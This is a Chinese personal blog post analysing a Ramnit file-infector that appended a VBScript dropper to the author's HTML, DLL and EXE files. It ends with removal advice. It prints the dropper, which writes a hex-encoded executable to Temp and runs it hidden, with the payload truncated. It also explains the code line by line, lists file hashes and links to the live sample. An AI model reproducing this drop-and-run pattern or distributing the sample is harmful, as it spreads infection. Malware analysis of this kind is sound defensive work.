前言
最近发现电脑变慢,并且html文件末尾被自动添加VBS脚本。开始还以为是编辑器添加的,后来在今日头条上看到一篇文章介绍才知道是病毒。用360扫描,1W多个文件都被感染,包括DLL、HTML、EXE。怪不得每次打开迅雷的时候360就会报毒,原来是DLL文件被感染了。添加的脚本如下:
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF……"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
WrtieData就是它输出的病毒,有兴趣可以下载这个txt(密码7ppg)看一看。
一、病毒分析
【病毒名称】Virus.Win32.Ramnit.X
【作用】感染HTML、DLL、EXE文件,在末尾添加一段VBS脚本,一旦运行就会交叉感染。仅破坏了文件,没有上传东西,也不会被盗号(已经几个月了我才发现),但具体的邪恶作用还未知,在网上也查不到相关研究内容。这里我简单地看了下VBS语法的作用:
Set FSO = CreateObject("Scripting.FileSystemObject")
这句话估计是创建了文件操作系统对象。
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
GetSpecialFolder参数0代表Windows文件夹,1代表System文件夹,2代表Temp文件夹,于是去环境变量下找到了Temp文件夹,发现了创建的文件:
6.15号这天我到底干了什么,想不起来了……
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
如果文件不存在,就创建文件,并且每次取出WriteData的2位字符串变成十六进制长整型,再转为字符,写入文件。
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
执行这个EXE文件,就成功感染了。
用notepad++打开这个EXE文件,发现是乱码,但是底部有一些清晰的XML语句:
用在线网站格式化一下:
?t<?_??0?? ?P???8? ??G?t???WH??U?<? ?t??????L? ??@? ?? ?? PTjSW??? €€`(XPTPSW?Xa?D$€j 9?u???€?>[? € ` € 8 € P ?? ? x € ? €? h ?` ?4 V S _ V E R S I O N _ I N F O ??? * j = I * j = I ? 8 S t r i n g F i l e I n f o 0 4 0 9 0 4 B 0 @ C o m p a n y N a m e S O F T W I N S . R . L . h F i l e D e s c r i p t i o n B i t D e f e n d e r M a n a g e m e n t C o n s o l e < F i l e V e r s i o n 1 0 6 . 4 2 . 7 3 . 6 1 4
I n t e r n a l N a m e D67@N:HMI 8 L e g a l C o p y r i g h t 2 5 2 8 - 6 1 4 2 < O r i g i n a l F i l e n a m e n e d w p . e x e 0 P r o d u c t N a m e ;N70=E @ P r o d u c t V e r s i o n 1 0 6 . 4 2 . 7 3 . 6 1 D V a r F i l e I n f o $ T r a n s l a t i o n ?xc <?xmlversion="1.0"encoding="UTF-8"standalone="yes"?>
<assemblyxmlns="urn:schemas-microsoft-com:asm.v1"manifestVersion="1.0">
?<trustInfoxmlns="urn:schemas-microsoft-com:asm.v3">
??<security>
???<requestedPrivileges><requestedExecutionLevellevel="asInvoker"uiAccess="false"/></requestedPrivileges>
??</security>
?</trustInfo>
</assembly> d? 8? q? T? }? \? ?? ?? ?? ?? ?? ?? ?? ?? KERNEL32.DLL SHELL32.DLL USER32.DLL LoadLibraryA GetProcAddress VirtualProtect VirtualAlloc VirtualFree ExitProcess DragFinish WinHelpW
查了一下这些内容,中间的XML大致是获取管理员权限来运行,而底部的KERNEL32.DLL之类的语句则是加的壳避免被杀软杀掉,最上面的语句根据《What is desktoplayer.exe》发现一模一样:
The following is the available information on desktoplayer.exe:
Product name ??????
Company name SOFTWIN S.R.L.
File description BitDefender Management Console
Internal name ?????????
Original filename nedwp.exe
Legal copyright 2528-6142
Product version 106.42.73.61
File version 106.42.73.61
但是它的MD5值和这个desktoplayer.exe不一样:
desktoplayer.exe
MD5 ff5e1f27193ce51eec318714ef038bef
SHA256 fd6c69c345f1e32924f0a5bb7393e191b393a78d58e2c6413b03ced7482f2320
svchost.exe
MD5 294102975fcfac1c15bf4ddbdab0e357
SHA1 87859c1266c86e3ab24c6df119f4a31d6902162f
SHA256 2ea0d44e7ff555c8d056ce209449c8f85d38ddc2bfe51498a35b07db4da4a4b8
但也估计是这类似的吧,分析到这里仍旧不清楚到底这个EXE干了什么事,如果你看到这篇文章有兴趣研究下去,请下载这个病毒文件看看:百度网盘下载(密码9d5n),如果双击运行是会感染的哦。
二、清除病毒的方法
使用赛门铁克的专杀工具清除病毒: 官网下载 | 百度网盘下载(密码wrmn),尝试过,无效。
使用360全盘防感染模式查杀,有效。